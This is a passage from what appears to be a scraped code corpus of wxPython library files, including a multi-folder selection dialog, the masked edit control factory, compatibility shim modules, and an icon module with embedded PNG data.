dialog;\n :param `title`: the dialog title;\n :param `defaultPath`: the default path, or the empty string;\n :param `style`: the underlying `wx.Dialog` window style;\n :param `agwStyle`: the AGW-specific dialog style; this can be a combination of the\n following bits:\n\n ===================== =========== ==================================================\n Window Styles Hex Value Description\n ===================== =========== ==================================================\n ``DD_NEW_DIR_BUTTON`` 0x000 Enable/disable the \"Make new folder\" button\n ``DD_DIR_MUST_EXIST`` 0x200 The dialog will allow the user to choose only an existing folder. When this style is not given, a \"Create new directory\" button is added to the dialog (on Windows) or some other way is provided to the user to type the name of a new folder.\n ``DD_MULTIPLE`` 0x400 Allows the selection of multiple folders.\n ===================== =========== ==================================================\n\n :param `pos`: the dialog position;\n :param `size`: the dialog size;\n :param `name`: the dialog name.\n \"\"\"\n\n wx.Dialog.__init__(self, parent, pos=pos, size=size, style=wx.DEFAULT_DIALOG_STYLE|wx.RESIZE_BORDER, name=name)\n\n self.agwStyle = agwStyle\n \n self.dirCtrl = wx.GenericDirCtrl(self, size=(300, 300), style=wx.DIRCTRL_3D_INTERNAL|wx.DIRCTRL_DIR_ONLY)\n self.folderText = wx.TextCtrl(self, -1, defaultPath, style=wx.TE_PROCESS_ENTER)\n self.CreateButtons()\n \n self.SetProperties(title) \n # Setup the layout and frame properties \n self.SetupDirCtrl(defaultPath)\n self.LayoutItems(message)\n self.BindEvents()\n \n if parent and pos == wx.DefaultPosition:\n self.CenterOnParent()\n \n\n def SetupDirCtrl(self, defaultPath):\n \"\"\"\n Setup the internal `wx.GenericDirCtrl` (icons, labels, etc...).\n\n :param `defaultPath`: the default path for L{MultiDirDialog}, can be an\n empty string.\n \"\"\"\n\n il = wx.ImageList(16, 16)\n\n # Add images to list. You need to keep the same order in order for\n # this to work!\n\n # closed folder:\n il.Add(_folder_close.GetBitmap())\n\n # open folder:\n il.Add(_folder_open.GetBitmap())\n\n # root of filesystem (linux):\n il.Add(_computer.GetBitmap())\n\n # drive letter (windows):\n il.Add(_hd.GetBitmap())\n\n # cdrom drive:\n il.Add(_cdrom.GetBitmap())\n\n # removable drive on win98:\n il.Add(_removable.GetBitmap())\n\n # removable drive (floppy, flash, etc):\n il.Add(_removable.GetBitmap())\n\n # assign image list:\n treeCtrl = self.dirCtrl.GetTreeCtrl()\n treeCtrl.AssignImageList(il)\n\n if self.agwStyle & DD_MULTIPLE:\n treeCtrl.SetWindowStyle(treeCtrl.GetWindowStyle() | wx.TR_MULTIPLE)\n\n if not defaultPath.strip():\n return\n \n # Set the wx.GenericDirCtrl default path\n self.dirCtrl.ExpandPath(defaultPath)\n self.dirCtrl.SetDefaultPath(defaultPath)\n self.dirCtrl.SetPath(defaultPath)\n\n self.folderText.SetValue(treeCtrl.GetItemText(treeCtrl.GetSelections()[0]))\n \n\n def SetProperties(self, title):\n \"\"\"\n Sets few properties for the dialog.\n\n :param `title`: the dialog title.\n \"\"\"\n\n self.SetTitle(title)\n self.okButton.SetDefault()\n\n if self.agwStyle & wx.DD_DIR_MUST_EXIST:\n self.newButton.Enable(False)\n\n\n def LayoutItems(self, message):\n \"\"\" Layout the widgets using sizers. \"\"\"\n\n mainSizer = wx.BoxSizer(wx.VERTICAL)\n textSizer = wx.BoxSizer(wx.HORIZONTAL)\n bottomSizer = wx.BoxSizer(wx.HORIZONTAL)\n \n staticText = wx.StaticText(self, -1, message)\n f = staticText.GetFont()\n f.SetWeight(wx.BOLD)\n staticText.SetFont(f)\n\n # Add the main wx.GenericDirCtrl \n mainSizer.Add(staticText, 0, wx.EXPAND|wx.ALL, 10)\n mainSizer.Add(self.dirCtrl, 1, wx.EXPAND|wx.ALL, 10)\n\n label = wx.StaticText(self, -1, _(\"Folder:\"))\n textSizer.Add(label, 0, wx.LEFT|wx.RIGHT|wx.ALIGN_CENTER_VERTICAL, 10)\n textSizer.Add(self.folderText, 1, wx.RIGHT|wx.EXPAND|wx.ALIGN_CENTER_VERTICAL, 10)\n mainSizer.Add(textSizer, 0, wx.EXPAND|wx.BOTTOM, 10)\n\n # Add the fancy buttons\n bottomSizer.Add(self.newButton, 0, wx.ALL, 10)\n bottomSizer.Add((0, 0), 1, wx.EXPAND)\n bottomSizer.Add(self.okButton, 0, wx.TOP|wx.BOTTOM, 10)\n bottomSizer.Add(self.cancelButton, 0, wx.TOP|wx.BOTTOM|wx.RIGHT, 10)\n mainSizer.Add(bottomSizer, 0, wx.EXPAND)\n\n # Layout the dialog\n self.SetSizer(mainSizer)\n mainSizer.Layout()\n mainSizer.Fit(self)\n mainSizer.SetSizeHints(self)\n\n\n def GetPaths(self):\n \"\"\" Returns the folders selected by the user, or the default path. \"\"\"\n\n # Retrieve the tree control and the selections the\n # user has made\n treeCtrl = self.dirCtrl.GetTreeCtrl()\n selections = treeCtrl.GetSelections()\n\n folders = []\n\n # Loop recursively over the selected folder and its sub-direcories\n for select in selections:\n itemText = treeCtrl.GetItemText(select)\n # Recurse on it.\n folder = self.RecurseTopDir(treeCtrl, select, itemText)\n folders.append(os.path.normpath(folder))\n\n return folders\n\n\n def RecurseTopDir(self, treeCtrl, item, itemText):\n \"\"\"\n Recurse a directory tree to include the parent-folder.\n\n :param `treeCtrl`: the tree control associated with teh internal `wx.GenericDirCtrl`;\n :param `item`: the selected tree control item;\n :param `itemText`: the selected tree control item text.\n \"\"\"\n\n # Get the item parent \n parent = treeCtrl.GetItemParent(item)\n if parent != treeCtrl.GetRootItem():\n # Not the root item, recurse again on it\n itemText = treeCtrl.GetItemText(parent) + \"/\" + itemText\n itemText = self.RecurseTopDir(treeCtrl, parent, itemText)\n\n return itemText\n \n\n def BindEvents(self):\n \"\"\" Binds the events to specific methods. \"\"\"\n\n self.Bind(wx.EVT_BUTTON, self.OnOk, self.okButton)\n self.Bind(wx.EVT_BUTTON, self.OnCancel, self.cancelButton)\n self.Bind(wx.EVT_CLOSE, self.OnClose)\n self.Bind(wx.EVT_CHAR_HOOK, self.OnKeyUp)\n self.dirCtrl.GetTreeCtrl().Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelChanged)\n\n\n def CreateButtons(self):\n \"\"\" Creates the ``OK``, ``Cancel`` and ``Make New Folder`` bitmap buttons. \"\"\"\n \n # Build a couple of fancy buttons\n self.newButton = buttons.ThemedGenBitmapTextButton(self, wx.ID_NEW, _new.GetBitmap(),\n _(\"Make New Folder\"), size=(-1, 28))\n self.okButton = buttons.ThemedGenBitmapTextButton(self, wx.ID_OK, _ok.GetBitmap(),\n _(\"OK\"), size=(-1, 28))\n self.cancelButton = buttons.ThemedGenBitmapTextButton(self, wx.ID_CANCEL, _cancel.GetBitmap(),\n _(\"Cancel\"), size=(-1, 28))\n\n\n def OnOk(self, event):\n \"\"\"\n Handles the ``wx.EVT_BUTTON`` event for the dialog.\n\n :param `event`: a `wx.CommandEvent` event to be processed.\n\n :note: This method handles the ``OK`` button press. \n \"\"\"\n\n self.EndModal(wx.ID_OK)\n\n\n def OnCancel(self, event):\n \"\"\"\n Handles the ``wx.EVT_BUTTON`` event for the dialog.\n\n :param `event`: a `wx.CommandEvent` event to be processed.\n\n :note: This method handles the ``Cancel`` button press. \n \"\"\"\n\n self.OnClose(event)\n\n\n def OnClose(self, event):\n \"\"\"\n Handles the ``wx.EVT_CLOSE`` event for the dialog.\n\n :param `event`: a `wx.CloseEvent` event to be processed.\n \"\"\"\n\n self.EndModal(wx.ID_CANCEL)\n\n\n def OnKeyUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_CHAR_HOOK`` event for the dialog.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n \"\"\"\n \n if event.GetKeyCode() == wx.WXK_ESCAPE:\n # Close the dialog, no action\n self.OnClose(event)\n elif event.GetKeyCode() in [wx.WXK_RETURN, wx.WXK_NUMPAD_ENTER]:\n # Close the dialog, the user wants to continue\n self.OnOk(event)\n\n event.Skip()\n\n\n def OnSelChanged(self, event):\n \"\"\"\n Handles the ``wx.EVT_TREE_SEL_CHANGED`` event for the tree control associated\n with L{MultiDirDialog}.\n\n :param `event`: a `wx.TreeEvent` event to be processed. \n \"\"\"\n\n if self.IsBeingDeleted():\n # We are being destroyed...\n event.Skip()\n return\n \n item = event.GetItem()\n if not item.IsOk():\n # Bad item?\n event.Skip()\n return\n \n treeCtrl = self.dirCtrl.GetTreeCtrl()\n text = treeCtrl.GetItemText(item)\n # Set the item name into the text control\n self.folderText.SetValue(text)\n self.folderText.Refresh()\n\n event.Skip()\n \n", "id": "10374497", "language": "Python", "matching_score": 1.069270133972168, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/multidirdialog.py" }, { "content": "#----------------------------------------------------------------------------\n# Name: wxPython.lib.masked.ctrl.py\n# Author: <NAME>\n# Created: 09/24/2003\n# Copyright: (c) 2003 by <NAME>\n# RCS-ID: $Id: ctrl.py 29787 2004-10-11 22:13:18Z RD $\n# License: wxWindows license\n#----------------------------------------------------------------------------\n# 12/09/2003 - <NAME> (<EMAIL>)\n#\n# o Updated for wx namespace (minor)\n#\n# 12/20/2003 - <NAME> (<EMAIL>)\n#\n# o Removed wx prefix\n#\n\n\"\"\"\n\n*masked.Ctrl* is actually a factory function for several types of\nmasked edit controls:\n\n ================= =========================================================\n masked.TextCtrl standard masked edit text box\n masked.ComboBox adds combobox capabilities\n masked.IpAddrCtrl adds logical input semantics for IP address entry\n masked.TimeCtrl special subclass handling lots of time formats as values\n masked.NumCtrl special subclass handling numeric values\n ================= =========================================================\n\nmasked.Ctrl works by looking for a special *controlType*\nparameter in the variable arguments of the control, to determine\nwhat kind of instance to return.\ncontrolType can be one of::\n\n controlTypes.TEXT\n controlTypes.COMBO\n controlTypes.IPADDR\n controlTypes.TIME\n controlTypes.NUMBER\n\nThese constants are also available individually, ie, you can\nuse either of the following::\n\n from wxPython.wx.lib.masked import Ctrl, COMBO, TEXT, NUMBER, TIME\n from wxPython.wx.lib.masked import Ctrl, controlTypes\n\nIf not specified as a keyword argument, the default controlType is\ncontrolTypes.TEXT.\n\nEach of the above classes has its own unique arguments, but Masked.Ctrl\nprovides a single \"unified\" interface for masked controls.\n\n\n\"\"\"\n\nfrom wx.lib.masked import TextCtrl, ComboBox, IpAddrCtrl\nfrom wx.lib.masked import NumCtrl\nfrom wx.lib.masked import TimeCtrl\n\n\n# \"type\" enumeration for class instance factory function\nTEXT = 0\nCOMBO = 1\nIPADDR = 2\nTIME = 3\nNUMBER = 4\n\n# for ease of import\nclass controlTypes:\n TEXT = TEXT\n COMBO = COMBO\n IPADDR = IPADDR\n TIME = TIME\n NUMBER = NUMBER\n\n\ndef Ctrl( *args, **kwargs):\n \"\"\"\n Actually a factory function providing a unifying\n interface for generating masked controls.\n \"\"\"\n if not kwargs.has_key('controlType'):\n controlType = TEXT\n else:\n controlType = kwargs['controlType']\n del kwargs['controlType']\n\n if controlType == TEXT:\n return TextCtrl(*args, **kwargs)\n\n elif controlType == COMBO:\n return ComboBox(*args, **kwargs)\n\n elif controlType == IPADDR:\n return IpAddrCtrl(*args, **kwargs)\n\n elif controlType == TIME:\n return TimeCtrl(*args, **kwargs)\n\n elif controlType == NUMBER:\n return NumCtrl(*args, **kwargs)\n\n else:\n raise AttributeError(\n \"invalid controlType specified: %s\" % repr(controlType))\n\n\n", "id": "2932305", "language": "Python", "matching_score": 3.2288949489593506, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/masked/ctrl.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.masked.ctrl\n\n__doc__ = wx.lib.masked.ctrl.__doc__\n\nMASKEDTEXT = wx.lib.masked.ctrl.TEXT\nMASKEDCOMBO = wx.lib.masked.ctrl.COMBO\nIPADDR = wx.lib.masked.ctrl.IPADDR\nTIME = wx.lib.masked.ctrl.TIME\nNUMBER = wx.lib.masked.ctrl.NUMBER\n\nclass controlTypes:\n MASKEDTEXT = wx.lib.masked.ctrl.TEXT\n MASKEDCOMBO = wx.lib.masked.ctrl.COMBO\n IPADDR = wx.lib.masked.ctrl.IPADDR\n TIME = wx.lib.masked.ctrl.TIME\n NUMBER = wx.lib.masked.ctrl.NUMBER\n\nwxMaskedCtrl = wx.lib.masked.Ctrl\n", "id": "4046345", "language": "Python", "matching_score": 1.9269591569900513, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/maskedctrl.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wxPython.lib.masked\n# Purpose: A package containing the masked edit controls\n#\n# Author: <NAME>, <NAME>\n#\n# Created: 6-Mar-2004\n# RCS-ID: $Id: __init__.py 43827 2006-12-05 18:57:31Z RD $\n# Copyright: (c) 2004\n# License: wxWidgets license\n#----------------------------------------------------------------------\n__author__ = \"<NAME> <wsadkin |at| parlancecorp.com>\"\n__date__ = \"02 Dec 2006, 19:00 GMT-05:00\"\n__version__ = \"1.11\"\n__doc__ = \"\"\"\\\npackage providing \"masked edit\" controls, allowing characters within a data entry control to remain fixed, and providing fine-grain control over allowed user input.\n\"\"\"\n\n# import relevant external symbols into package namespace:\nfrom maskededit import *\nfrom textctrl import BaseMaskedTextCtrl, PreMaskedTextCtrl, TextCtrl\nfrom combobox import BaseMaskedComboBox, PreMaskedComboBox, ComboBox, MaskedComboBoxSelectEvent\nfrom numctrl import NumCtrl, wxEVT_COMMAND_MASKED_NUMBER_UPDATED, EVT_NUM, NumberUpdatedEvent\nfrom timectrl import TimeCtrl, wxEVT_TIMEVAL_UPDATED, EVT_TIMEUPDATE, TimeUpdatedEvent\nfrom ipaddrctrl import IpAddrCtrl\nfrom ctrl import Ctrl, controlTypes\n", "id": "2010879", "language": "Python", "matching_score": 3.6618759632110596, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/masked/__init__.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\nimport wx.lib.masked\nimport wx.lib.masked.maskededit\n\n__doc__ = wx.lib.masked.maskededit.__doc__\n\nfrom wx.lib.masked.maskededit import *\n\nwxMaskedEditMixin = wx.lib.masked.MaskedEditMixin\nwxMaskedTextCtrl = wx.lib.masked.TextCtrl\nwxMaskedComboBox = wx.lib.masked.ComboBox\nwxMaskedComboBoxSelectEvent = wx.lib.masked.MaskedComboBoxSelectEvent\nwxIpAddrCtrl = wx.lib.masked.IpAddrCtrl\n", "id": "6111589", "language": "Python", "matching_score": 1.075858473777771, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/maskededit.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.masked.timectrl\n\n__doc__ = wx.lib.masked.timectrl.__doc__\n\nEVT_TIMEUPDATE = wx.lib.masked.timectrl.EVT_TIMEUPDATE\nTimeUpdatedEvent = wx.lib.masked.timectrl.TimeUpdatedEvent\nwxTimeCtrl = wx.lib.masked.timectrl.TimeCtrl\n", "id": "3884771", "language": "Python", "matching_score": 3.0359809398651123, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/timectrl.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.masked.numctrl\n\n__doc__ = wx.lib.masked.numctrl.__doc__\n\nEVT_MASKEDNUM = wx.lib.masked.numctrl.EVT_NUM\nwxMaskedNumCtrl = wx.lib.masked.numctrl.NumCtrl\nwxMaskedNumNumberUpdatedEvent = wx.lib.masked.numctrl.NumberUpdatedEvent\n", "id": "9935395", "language": "Python", "matching_score": 2.4318127632141113, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/maskednumctrl.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.intctrl\n\n__doc__ = wx.lib.intctrl.__doc__\n\nEVT_INT = wx.lib.intctrl.EVT_INT\nwxIntCtrl = wx.lib.intctrl.IntCtrl\nwxIntUpdatedEvent = wx.lib.intctrl.IntUpdatedEvent\nwxIntValidator = wx.lib.intctrl.IntValidator\n", "id": "1519001", "language": "Python", "matching_score": 1.2275469303131104, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/intctrl.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.colourselect\n\n__doc__ = wx.lib.colourselect.__doc__\n\nColourSelect = wx.lib.colourselect.ColourSelect\nColourSelectEvent = wx.lib.colourselect.ColourSelectEvent\nEVT_COLOURSELECT = wx.lib.colourselect.EVT_COLOURSELECT\nwxEVT_COMMAND_COLOURSELECT = wx.lib.colourselect.wxEVT_COMMAND_COLOURSELECT\n", "id": "2465031", "language": "Python", "matching_score": 2.913506031036377, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/colourselect.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.colourdb\n\n__doc__ = wx.lib.colourdb.__doc__\n\ngetColourInfoList = wx.lib.colourdb.getColourInfoList\ngetColourList = wx.lib.colourdb.getColourList\nupdateColourDB = wx.lib.colourdb.updateColourDB\n", "id": "11273146", "language": "Python", "matching_score": 0.0075239078141748905, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/colourdb.py" }, { "content": "\"\"\"Support for icons.\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>> / <NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: images.py 63479 2010-02-14 05:24:22Z RD $\"\n__revision__ = \"$Revision: 63479 $\"[11:-2]\n\nimport wx\nimport cStringIO\n\n\ndef getPyIcon(shellName='PyCrust'):\n icon = wx.EmptyIcon()\n icon.CopyFromBitmap(getPyBitmap(shellName))\n return icon\n\ndef getPyBitmap(shellName='PyCrust'):\n return wx.BitmapFromImage(getPyImage(shellName))\n\ndef getPyImage(shellName='PyCrust'):\n stream = cStringIO.StringIO(getPyData(shellName))\n return wx.ImageFromStream(stream)\n\ndef getPyData(shellName='PyCrust'):\n if shellName=='PyCrust': \n return \\\n'\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00 \\x00\\x00\\x00 \\x08\\x06\\x00\\\n\\x00\\x00szz\\xf4\\x00\\x00\\x00\\x04sBIT\\x08\\x08\\x08\\x08|\\x08d\\x88\\x00\\x00\\x04\\\n\\x95IDATx\\x9c\\xed\\x97?lSG\\x1c\\xc7?\\x97\\x98\\xd8Q\\xa3\\xdeY\\xa2j\\x06\\xa4\\xf7\"QJ\\\n\\xbb<3@\\x01\\xa9\\xc2\\x0c\\xa8!\\x1d\\x1c6\\xcaB\\xa8D[uI2\\xf4\\x8f\\xe8\\x103\\xb4\\xa2\\\n,5\\x0b\\x03\\x032C\\xab\\xc0\\x92dh:t\\xc0)*E\\xcd@<Q\\x01Rl\\t\\xd4D\\xaa\\xe4{R\\xd0{&\\\n\\xa5\\xd7\\xe1\\xfc\\xec\\xe7\\xfciR\\x08e\\xe9O\\xb2\\xee|\\xfe\\xbd\\xfb}~\\xdf\\xdf\\xbd\\\n\\xbb\\xb3PJ\\xf1\"\\xad\\xe3\\x85F\\xff\\x1f\\xe0y\\x03h\\xad\\xcdA\\xc7~\\xb4\\xd6f-\\x9f\\\n\\xc4\\xf3\\x0c>Y\\x1c#\\x97\\xddCUk\\xf4B\\x8d3\\x9f\\x8d\\x9a\\x9bU%\\xe2~b\\xab\\xdf\\x82\\\n\\x83N+\\xd3\\xe92\\\\\\x1f\\xcf\\x93\\xdd\\x9f\\xa1\\xaa5\\x95\\xf9\\n\\xe7\\xf3y\\xe2\\x10[V\\\n\\x82H\\xe6\\xd3G\\x1dN\\xf7\\xc3\\xa7\\xc7a\\xc0\\x83\\xc3\\xc7\\xf3\\xcc\\xcc\\xcd\\xe3(\\\n\\x85\\xdb\\xe7\\xf2\\xc9\\xe8X\\x1b\\xe43+\\x10\\xd5\\xb6\\x94\\x87Z\\xe8\\x90NU\\x91I@\\x00\\\n\\x06\\xbe\\x18\\xb7J\\x98\\xca$`\\x98\\xb9]&{,\\x8fRV\\x85\\xa7V@k\\x9bq)o\\x83+\\t\\xe9T\\\n\\xd5f\\x95\\x02\\x91\\xb4~_\\r\\xd9\\xb6\\xbaP\\x03\\x04n\\x9f\\xcbDa\\xb8\\t\\xfe\\xaf\\x17a\\\n<\\xe3\\xc8\\x94lo\\x9b\\xd6\\xa8\\xf4\\x80\\x07\\xb7o\\xcd\\xe0\\x0c\\x0e\\xa2R\\x8a\\xb4\\\n\\x93n\\xbal\\x1a`e\\xe0U\\xc1\\xd6\\xb0\\xb8\\n\\x99\\x91\"\\x93\\xaf\\xba\\xe4\\x0ed\\xda|6,\\\n\\x81\\xd6\\xda\\x9c|\\xab]\\xea\\xcd\\x04\\x8f\\x9b\\t\\xad\\nz\\xa1\\x02\\x80\\xdb\\xe7R\\x1a\\\n\\xcf\\xa3\\xb56\\xeb\\x02D5\\x9e\\xf8\\xdc\\xe1T\\xff\\xd3\\x05\\x8e\\x82\\x83U\\xe1Z\\xb1\\\n\\x18\\x9b\\xbf\\x06\\xacQ\\x82H\\xea\\x01/Z@Ut\\x08R\\xb4$}\\x16\\xd3\\x81A&%\\xde\\xee\\\n\\xbev\\x80x\\xe0]{\\xb2\\x1cR\\xa5\\xe6C*\\xb5\\xf1\\xc4Q\\xa6\"e\\xfbQ\\x1b\\x8dE\\xe6\\x87\\\n>\\xaa[Q\\xadi\\x0b\\xb0r\\x8f\\x9e.\\xc3t\\xb9\\xc4]\\xaf5\\xf6\\xfe\\xdb\\xddt&\\x02\\xfa\\\n\\x9c\\xf5\\x01\\xe2A\\xa2\\xbeX\\x01>]ntR\\x12\\xe3[\\x00\\x01\\x98\\x89\\x11[_\\xed\\xafn\\\n\\xab\\x81U\\xa0\\xe7I7\\x00\\x97o\\x04\\xcd\\x89\\x06<;\\xe9\\x80\\x07]i\\x97\\xc17\\x1f\\\n\\xd2\\xd3\\x91`\\xe9\\xaf?\\x01p^Y\\x06Z\\n\\xfau8?a\\xfb]i\\x97\\xec\\xa1\\x8c\\x05(|\\xd8\\\nN\\xba\\xb3\\xab\\x87\\xfb\\x8f\\x97\\xd8\\xd9\\xd5\\x03\\xc0\\xfd\\xc7K\\xec\\xd8\\xd6\\xdd\\\n\\xfc\\xfd\\xc1r\\xd0\\xf4\\x01\\xda~\\x03H\\xf4\\x04\\xd4j :\\xb75\\xc7\\xae\\xfd\\xbcLW\\\n\\xda\\xa5\\xf0M\\x1e\\t\\xcc\\xcc\\xcdq\\xa9P@\\x8c\\xf5fL\\xdaHF\\x16g\\x9a\\x19\\xad\\xcc\\\n\\xee\\xcb\\xa3\\n\\xad\\xa1\\xda\\xf1\\x08\\xef\\xe5\\x97x\\xf8\\xc8f\\xf8\\xc7\\x93:\\xdb;\\\n\\x93M\\xc8\\x08j\\xc7\\xb6n\\x1e,\\x07m`\\x97o\\x04|;>\\xd1T\\xc4\\x17\\x8a\\x13\\xb9\\xc3\\\n\\x88\\x01\\x0fs\\xa4\\x9cc}\\xf3A\\x190\\x82\\x1f\\xddR{-\\x1bV\\xfc\\xd8f\\xba\\xbd3\\xd9\\\n\\x06\\x15\\x07\\xbb\\xf8\\xd3\\x12\\xdf]-\"\\x93\\xb2\\xb1C*\\xde\\xcd\\x1d\\xde\\xccN(\\xc1\\\n\\xae\\x17\"\\xd0#+<j\\x17m{\\xcd\\x9bj\\x00.\\xaf\\xf0Xb\\xb8\\xdfA\\xa6\\x14\\x18\\x03\\x06\\\n\\xb4o\\xcf\\x8d\\xc4\\xbervc\\x86M\\xdaz\\x80\\x00\\x95T\\x19?\\xd0 @&%~c\\xbc\\xe3W\\xaf\\\n\\xb4e\\x00\\xffh\\xc6@\\xbd\\x11\\xbc\\xde\\x1a\\xfe\\xef.\\xa5\\xa2q4\\n0\\x81\\xad\\xe9\\\n\\xae7<\\x12\\xaf\\xf5\\xc2hy\\xaa\\xe97\\x9cS\\\\\\x98\\xb2\\x0e\\x03\\xb1\\xcdhW\\xdaC\\x1a\\\n\\xa0\\xa2\\xa0\\x0e\"\\x14`\\xb0Y\\x85\\x1b\\x1f\\x12\\xaa7\\x03)\\xd9\\x84\\xa8\\xccW\\xb8{\\\n\\xa7L\\xe2\\xde\\x02\\x94\\xc6Gp_\\xcf\\x80\\x90\\x98\\xd0g\\xf4\\xac\\x82Pc\\x82\\x1a\\xd5\\\n\\x10\\x08}&\\xa7J\\xcc\\xde.1]m\\x80\\xf6+\\xee\\xfd\\xae\\x9bo\\xc4\\xf0;\\x80\\xef\\x90\\\n\\x0e\\x04\\x06`Q!\\x02\\x05\\xc2 \\xb5\\xc2\\x95\\x15d\\xb4C&[\\xf7\\xd2\\x04\\x80\\xbb\\xdb\\\n\\x9e\\xd1\\x8e\\x02\\x90\\xd8\\xd4$ I\\x87\\x80\\xf1\\xf1\\xdc!4\\xc3\\x88\\x94}\\xd8,TH\\\n\\xbb.5m\\xf0C\\x9f3\\x1f\\r\\x01\\x96.\\x82\\x1a9\\xe9Q\\xb8\\xd2\\xf8\\xf25\\x0c\\xbe\\xe7#\\\n\\x92\\x12\\x1d[\\x03\\t\\x00E\\xf4\\xa6\\t\\xaaZ7`$\\x18\\x90\\xf8\\xf8\\x80JK\\x94\\xa1\\x01\\\n\\x07\\xb8\\x0e~X\\xc3\\xed\\x16\\xf8)\\xf8~j\\x12B\\rI\\x89_\\xf7!0 \\x04\\xf9Q\\xc0\\x18\\\n\\x0c\\xd1i\\xea\\x13\\xb7\\x04\\xc0\\x89\\x93C\\xabj\\xb6\\xf7@\\x96\\xd9_J|0:\\x86R\\n\\xb7\\\n\\xd7@\\xaa%\\x9d\\xa3$\\xba.\\x90RA]\\xe3\\x87\\x1a\\x89\\xdd\\xefeR\\xc2\\x1a\\'\\xa8\\x1f\\\n\\x82\\x0e-@m\\xd1\\xde\\x076\\xbc\\x15\\x97~(\\x9a\\x89b\\x9e\\xd9[s\\xab!\\xf7g\\xd6\\x1c\\\n\\x8f\\xdb\\xbel\\x8e\\xa1S\\xc7\\xda\\xc6\\xe6\\xee\\xccs\\xe9\\xdcYnV\\x95\\xd8\\xf2?&q+\\\n\\x9c\\x1b1\\xf3\\xbf\\xcd3{\\xfdJ\\xdb\\xf8\\xde\\xfd\\x19.\\\\\\xad\\x08\\x80\\xbf\\x01\\xd1\\\n\\x86\\xfa\\x8b\\xc7\\xc0\\xc8\\xb7\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82'\n elif shellName=='PySlices':\n return \\\n'\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00 \\x00\\x00\\x00 \\x08\\x06\\x00\\x00\\\n\\x00szz\\xf4\\x00\\x00\\x00\\x01sRGB\\x00\\xae\\xce\\x1c\\xe9\\x00\\x00\\x00\\x06bKGD\\x00\\xff\\\n\\x00\\xff\\x00\\xff\\xa0\\xbd\\xa7\\x93\\x00\\x00\\x00\\tpHYs\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\\n\\x13\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07tIME\\x07\\xd8\\n\\x16\\x03#\\x0eV,\\xc0?\\x00\\\n\\x00\\x06\\xb8IDATX\\xc3\\xbd\\x97\\x7flS\\xd7\\x15\\xc7?\\xd7v\\xe2\\x17\\x12x\\xcf\\x04X(\\xb4\\\nvT\\n\\x94L}\\xde\\xd6\\x1f\\x012\\x91Pe\\xd0LZ\\x82\\x80\\xf2\\xa3\\x1a\\t\\xd2\\xc6\\xd0\\xa4)\\\n\\xc9\\xb4\\x9f\\x19\\x1bN\\xd6N\\x1bRGZ\\r\\xb6vR\\x15\\xa6u\\xb0I[b\\x952\\xf6C\\xc2\\xd01\\xca\\\n\"Z\\xa7\\x82\\xb2-lq\\x10\\xac\\x89`\\xf2{4\\x89\\xed8\\xf1\\xdd\\x1f\\xd7v\\xe2\\xfc\\xa2H\\xed\\\n\\x8ed\\xbd\\xfb\\xae\\xcf\\xbd\\xe7{\\xce=\\xdfs\\xcf\\x13\\xcc,K\\x97\\x15\\xf3\\x9f#_\\x04\\xa3\\\n\\xd0Ar\\\\b\\xc5\\x04\\xef\\xf4\\xbb\\xa8*\\x1b\\xe7\\xd0\\xeb\\xc5\\xa9\\x84X\\xc4\\xdem\\x15\\x94\\\n,6p9\\x1d\\xa2x\\xa1!*w>\\x0b\\xc0\\xfaG\\x1f>\\xfa\\xe7\\xf3=G\\xe2\\xf1\\xd1w\\xb9\\x8b\\x88\\x99\\\n&\\x1f{\\x90\\xe1\\xf2\\x95D?\\xf7\\x04K\\x8cB\\xf2\\x1c\\x0ep:@\\x02\\x89\\xa4@\\xcb\\x93\\x9c\\xbc\\\n\\x94\\xc7\\xf9\\xde\"\\xecQCn\\xaaX!?\\xfeP\\tK\\x97\\xadHY\\xc3Iy<x>\\x15\\xfc\\xe3E\\xc7\\x9d\\xf7\\\nG6\\x00\\x17\\xee\\x15\\x80o\\xdf\\x93\\\\\\xae-\\xc7Y\\xe2A\\x13\\x0e@\\x82\\xc3\\x91\\xab4:\\x06\\xe3\\\n)\\xc1\\xa